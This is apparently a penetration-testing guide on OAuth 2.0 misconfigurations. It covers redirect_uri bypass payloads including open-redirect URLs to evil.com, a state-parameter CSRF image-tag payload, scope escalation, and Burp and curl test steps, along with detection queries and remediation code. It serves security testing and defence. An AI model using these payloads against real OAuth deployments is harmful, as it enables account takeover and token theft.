
OAuth 2.0 Misconfigurations and Token Theft
OAuth 2.0 attack techniques including redirect_uri bypass, state parameter CSRF, implicit flow token leakage, and authorization code interception.
Introduction
OAuth 2.0 bugs reduce to two root causes: the authorization server trusts user-supplied values it should validate, and developers omit security parameters the spec marks as RECOMMENDED rather than REQUIRED. The redirect_uri is the primary attack surface — a token or code delivered to the wrong URI is a complete account takeover primitive. Every major OAuth-related bug bounty finding traces back to insufficient URI validation, missing state, or misuse of the implicit flow.
The spec (RFC 6749) requires exact-match redirect URI validation but leaves enforcement to implementors. Real-world servers commonly allow prefix matching, path traversal, open redirects on the same domain, or wildcard subdomains — each of which an attacker can exploit to capture authorization codes or access tokens mid-flight.
Authorization servers that skip the state parameter check give attackers a CSRF primitive: link a victim's account to an attacker-controlled OAuth identity, then log in as the victim through the attacker's own valid session.
Authorization Required
All techniques described here require explicit written authorization from the application owner. OAuth flows in production systems involve third-party identity providers — testing without scope can violate the IdP's terms of service and applicable computer fraud statutes independent of the target application's authorization.
Impact
- Full account takeover via redirect_uri hijacking — attacker receives the victim's authorization code or access token directly
- Account linking CSRF — victim's account silently connected to attacker's social identity, enabling persistent login
- Access token exposure in server logs, browser history, and Referer headers via implicit flow
- Privilege escalation by modifying the
scopeparameter during the authorization request - Persistent access if the stolen token has offline_access or refresh token scope
- Mobile application account compromise via deeplink interception or PKCE downgrade
Technical Details
redirect_uri Validation Flaws
The authorization server must compare the supplied redirect_uri against the registered value using exact string matching. Common implementation shortcuts create exploitable gaps.
Path traversal / suffix bypass: Some servers validate only that the supplied URI starts with the registered prefix.
Registered: https://app.example.com/callback
Supplied: https://app.example.com/callback/../evil
https://app.example.com/callback%2f..%2fevilOpen redirect chaining: The server validates the domain but the callback endpoint itself has an open redirect. The code or token lands at the legitimate domain, which immediately redirects to the attacker.
https://app.example.com/callback?redirect=https://evil.comIf the application forwards the code or the full URL to the redirect destination (via Referer, fragment propagation, or explicit parameter passing), the attacker receives it.
Subdomain takeover as redirect target: If the server allows wildcard subdomain matching and an attacker has claimed an abandoned subdomain, that subdomain becomes a valid redirect target.
Registered: https://*.example.com/callback
Claimed: https://stale-feature.example.com (attacker-controlled via dangling CNAME)
Supplied: https://stale-feature.example.com/callbackState Parameter CSRF
The state parameter is a nonce that ties the authorization request to the user session. Omitting it or accepting any value without verification enables CSRF account linking.
Attack flow:
Attacker initiates OAuth flow
Attacker starts the authorization flow against the target application using their own OAuth identity (e.g., their Google account). They capture the authorization URL before completing it.
GET /oauth/authorize?response_type=code
&client_id=CLIENT_ID
&redirect_uri=https://app.example.com/callback
&scope=openid+email
&state=ATTACKER_SESSION_STATEAttacker extracts the authorization code
Attacker completes the OAuth flow for their own account and receives a code at redirect_uri. They do not exchange this code — it remains valid until used.
https://app.example.com/callback?code=ATTACKER_CODE&state=ATTACKER_SESSION_STATEVictim triggered to complete the binding
Attacker sends the victim a link to the callback URL containing their authorization code. If the application doesn't validate that the state matches the victim's session, it exchanges the code and links the attacker's OAuth identity to the victim's account.
<img src="https://app.example.com/callback?code=ATTACKER_CODE" width="1" height="1">Attacker authenticates as victim
Attacker logs in via the OAuth provider using their own credentials. The provider issues tokens for the attacker's identity, which the application now maps to the victim's account.
Implicit Flow Token Leakage
The implicit flow (response_type=token) delivers the access token directly in the URL fragment. URL fragments are not sent in HTTP requests but are visible to JavaScript on the page, written into browser history, and can leak via the Referer header if the page loads third-party resources.
https://app.example.com/callback#access_token=ya29.a0AfH6SM...&token_type=Bearer&expires_in=3600Any script on the callback page, including analytics, CDN resources, or error tracking, can read window.location.hash and exfiltrate the token. The fragment also appears in server-side access logs if the page makes a same-origin XHR that includes the full URL in the Referer header.
Authorization Code Interception via Referer
When a user lands on a callback URL containing an authorization code and the page loads external resources, the Referer header carries the full URL including the code.
GET /track.js HTTP/1.1
Host: analytics.thirdparty.com
Referer: https://app.example.com/callback?code=4/P7q7W91a-oMsCeLvIaQ...&state=abc123The code is single-use and short-lived (RFC 6749 recommends under 10 minutes), but exfiltration to an attacker-controlled analytics endpoint provides a race-condition window for exchange.
Scope Escalation
Authorization requests that accept user-supplied scope values without validating them against the registered client's allowed scopes enable privilege escalation.
# Original request
GET /oauth/authorize?...&scope=read:profile
# Modified request
GET /oauth/authorize?...&scope=read:profile+write:email+admin:orgIf the server grants whatever scope is requested without checking the client's registered allowed scopes, the resulting token has elevated permissions.
Attack Tools
Set Burp as the browser proxy and walk through the OAuth flow. The Proxy history shows every redirect and the parameters in each step.
# 1. In Burp Proxy, intercept the initial authorization redirect
# 2. Modify redirect_uri in the intercepted request
GET /oauth/authorize?response_type=code
&client_id=CLIENT_ID
&redirect_uri=https://app.example.com/callback/../attacker # modified
&scope=openid+email
&state=randomstate
Host: accounts.provider.com# Base64-decode JWT access tokens directly in Burp Decoder
# Highlight token, right-click > Send to Decoder > Decode as Base64
# Or use the JSON Web Tokens extension (BApp Store) for automatic parsing
# Extensions > BApp Store > JSON Web Tokens# Remove state from the authorization URL entirely
GET /oauth/authorize?response_type=code
&client_id=CLIENT_ID
&redirect_uri=https://app.example.com/callback
&scope=openid+email
# no state parameter
# If the application proceeds without error, state validation is absent
# Confirm by completing the flow — if successful, CSRF is viable# Set payload position on redirect_uri value
# Payload list: variations of the registered URI
https://app.example.com/callback
https://app.example.com/callback/
https://app.example.com/callback/../
https://app.example.com/callbackx
https://app.example.com/callback?foo=bar
https://app.example.com%2ecallback.evil.com/Manual flow inspection requires only browser developer tools and a text editor. No proxy needed for initial reconnaissance.
# Open DevTools > Network > preserve log
# Click "Login with Google/GitHub/etc"
# Find the 302 redirect to the OAuth provider
# Copy the Location header value — this is the full authorization URL
# Example extracted URL:
# https://accounts.google.com/o/oauth2/v2/auth
# ?client_id=123456789.apps.googleusercontent.com
# &redirect_uri=https://app.example.com/oauth/callback
# &response_type=code
# &scope=openid+email+profile
# &state=xyzABC123
# &access_type=offline# Manually construct modified authorization URLs in the browser address bar
# Observe whether the provider accepts or rejects each variant
# Path suffix
https://accounts.google.com/o/oauth2/v2/auth?client_id=...
&redirect_uri=https://app.example.com/oauth/callback%2F..%2F&...
# Check the resulting error — "redirect_uri_mismatch" = strict validation
# No error or redirect proceeding = lax validation# After getting a valid callback URL with code+state:
# https://app.example.com/oauth/callback?code=VALID_CODE&state=STATE
# Replay with modified state value in a fresh browser tab (no existing session)
# If login succeeds — state not validated against session
curl -v "https://app.example.com/oauth/callback?code=VALID_CODE&state=WRONG_STATE" \
-H "Cookie: session=NEW_SESSION_ID"Detection
Authorization Server Logs
Monitor for redirect_uri values that differ from registered values. Most providers log authorization requests including supplied vs. registered URIs.
| Log Field | Suspicious Value |
|---|---|
redirect_uri_supplied | Any value not in the registered allowlist |
state | Missing, empty, or reused nonces |
scope | Scopes exceeding the client's registered allowlist |
error | redirect_uri_mismatch repeated across IPs (enumeration) |
Application-Side Events
# Implicit flow tokens appear in the URL fragment — grep server-side logs for access_token in Referer
grep -E 'Referer:.*[#&]access_token=' /var/log/nginx/access.log
# Or in application error logs where full URLs are captured
grep 'access_token' /var/log/app/request.logSIEM Detection Queries
index=web_access uri_path="/oauth/callback"
| rex field=uri_query "(?:^|&)state=(?P<state_value>[^&]*)"
| where isnull(state_value) OR state_value=""
| stats count by src_ip, user_agent, uri_query
| where count > 2index=web_access uri_path="/oauth/callback"
| rex field=uri_query "(?:^|&)code=(?P<auth_code>[^&]+)"
| stats count by auth_code, src_ip
| where count > 1
| table auth_code, count, src_ip{
"query": {
"regexp": {
"http.request.referrer": ".*[#&]access_token=.*"
}
}
}Application Event IDs (where applicable)
| Event | Description |
|---|---|
| OAuth: invalid_redirect_uri | Supplied URI rejected by authorization server |
| OAuth: missing_state | Authorization callback received without state |
| OAuth: code_reused | Authorization code submitted more than once |
| OAuth: scope_exceeded | Requested scope exceeds registered allowlist |
Remediation
redirect_uri validation:
The authorization server must perform exact string comparison between the supplied redirect_uri and each registered value. No prefix matching, no regex, no path normalization before comparison. Register the complete URI including path and query string for each client.
REGISTERED_URIS = {
"client_id_123": [
"https://app.example.com/oauth/callback",
]
}
def validate_redirect_uri(client_id: str, supplied_uri: str) -> bool:
allowed = REGISTERED_URIS.get(client_id, [])
# Exact match only — no startswith, no normalization
return supplied_uri in allowedState parameter: Generate a cryptographically random nonce per authorization request, bind it to the user's session, and reject any callback where the returned state doesn't match what was issued.
import secrets
import hashlib
def generate_state(session_id: str) -> str:
nonce = secrets.token_urlsafe(32)
session.set("oauth_state", nonce)
return nonce
def validate_state(returned_state: str) -> bool:
expected = session.get("oauth_state")
if not expected:
return False
# Use constant-time comparison
return secrets.compare_digest(returned_state, expected)Prefer authorization code + PKCE over implicit flow:
import secrets
import hashlib
import base64
def generate_pkce_pair():
code_verifier = secrets.token_urlsafe(64) # 43-128 chars, unreserved chars only
digest = hashlib.sha256(code_verifier.encode()).digest()
code_challenge = base64.urlsafe_b64encode(digest).rstrip(b'=').decode()
return code_verifier, code_challenge
# Include in authorization request:
# &code_challenge=CODE_CHALLENGE
# &code_challenge_method=S256
# Include in token exchange:
# &code_verifier=CODE_VERIFIERAdditional hardening:
- Set short authorization code expiry (60–120 seconds)
- Invalidate authorization codes immediately after single use — reject replay attempts
- Restrict
scopevalues server-side per registered client; ignore or reject out-of-allowlist scope requests - Set
Referrer-Policy: no-referreron OAuth callback pages to prevent code/token leakage via the Referer header - Rotate refresh tokens on each use (refresh token rotation) to detect token theft
- Never issue tokens for the
implicitgrant type in new implementations — useresponse_type=codewith PKCE
HTTP/1.1 200 OK
Referrer-Policy: no-referrer
Content-Security-Policy: default-src 'self'References
MITRE ATT&CK Techniques
- T1528 - Steal Application Access Token
- T1078 - Valid Accounts
- T1566.002 - Phishing: Spearphishing Link
Tools Documentation
- PortSwigger Burp Suite
- RFC 6749 — The OAuth 2.0 Authorization Framework
- RFC 7636 — Proof Key for Code Exchange (PKCE)
- OAuth 2.0 Security Best Current Practice (BCP)
- PortSwigger Web Security Academy — OAuth
Next Steps
JWT Attacks: Algorithm Confusion and Forgery
JWT attack techniques including none algorithm bypass, RS256 to HS256 confusion, weak secret cracking, and kid injection.
Outdated JavaScript Dependencies
Security risks of outdated JavaScript dependencies including XSS, RCE, and supply chain attacks. Detection strategies and remediation using npm audit and Snyk.